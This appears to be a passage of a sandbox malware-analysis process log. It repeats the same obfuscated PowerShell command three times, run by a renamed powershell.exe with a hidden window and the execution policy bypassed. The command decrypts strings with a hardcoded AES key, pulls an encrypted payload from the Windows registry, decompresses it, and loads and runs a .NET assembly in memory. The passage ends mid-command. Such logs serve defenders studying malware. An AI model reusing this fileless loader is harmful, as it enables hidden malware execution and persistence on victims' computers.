$wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        11⤵
        Hide Artifacts: Hidden Window
        
        PID:8772
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(3048).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        11⤵
        Hide Artifacts: Hidden Window
        
        PID:8880
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(3048).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        11⤵
        Hide Artifacts: Hidden Window
        
        PID:9116
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(3048).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, 